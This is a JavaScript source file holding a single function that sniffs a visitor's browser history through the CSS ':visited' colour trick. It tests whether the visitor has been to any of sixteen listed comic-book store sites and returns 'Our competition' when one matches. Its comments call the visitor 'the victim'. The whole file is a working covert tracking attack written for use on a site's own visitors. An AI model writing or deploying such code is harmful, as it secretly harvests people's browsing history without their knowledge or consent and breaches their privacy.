function getHistory(){	
	var R = 'none';
	var browser=navigator.appName;
	var browserVer=parseInt(navigator.appVersion);
	var b_version=navigator.appVersion;
	var win7 = b_version.search("MSIE 7");
		
	
		/* A short list of websites to loop through checking to see if the victim has been there. Without noticable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */
		/**/
		var websites = [
			"http://x-worldcomics.com/",
			"http://metropoliscomics.com/",
			"http://www.mycomicshop.com",
			"http://www.superworldcomics.com/",
			"http://www.comixzone.com/",
			"http://www.grahamcrackers.com/",
			"http://comics.ha.com/",
			"http://www.scottscomics.com/",
			"http://www.newkadia.com/",
			"http://shop.thecomiclounge.com/",
			"http://newkadia.com/",
			"http://www.atomiccomics.com/",
			"http://www.tfaw.com/",
			"http://www.midtowncomics.com/",
			"http://www.ecomicbookshop.com/",
			"http://heavyink.com/"
		];
		
		/* Loop through each URL */
		for (var i = 0; i < websites.length; i++) {
			/* create the new anchor tag with the appropriate URL information */
			var link = document.createElement("a");
			link.id = "id" + i;
			link.href = websites[i];
			link.innerHTML = websites[i];
		
			/* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
			document.write('<style>');
			document.write('#id' + i + ":visited {color: #FF0000;}");
			document.write('</style>');

			if (browser=="Microsoft Internet Explorer"){
					/* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
					document.body.appendChild(link);
					var color = $(link).css("color");
					document.body.removeChild(link);		
					/* check to see if the link has been visited if the computed color is red */
					if (color == "#ff0000") { // visited
					
						//return the site that was visited
						//R = websites[i];
						R = "Our competition";
						
					}
			}else{
					/* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
					document.body.appendChild(link);
					var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
					document.body.removeChild(link);
					
					/* check to see if the link has been visited if the computed color is red */
					if (color == "rgb(255, 0, 0)") { // visited
					
						//return the site that was visited
						//R = websites[i];
						R = "Our competition";
						
					}
			}// end if is microsoft IE		
		} // end URL loop
	
		return R;
}// end function

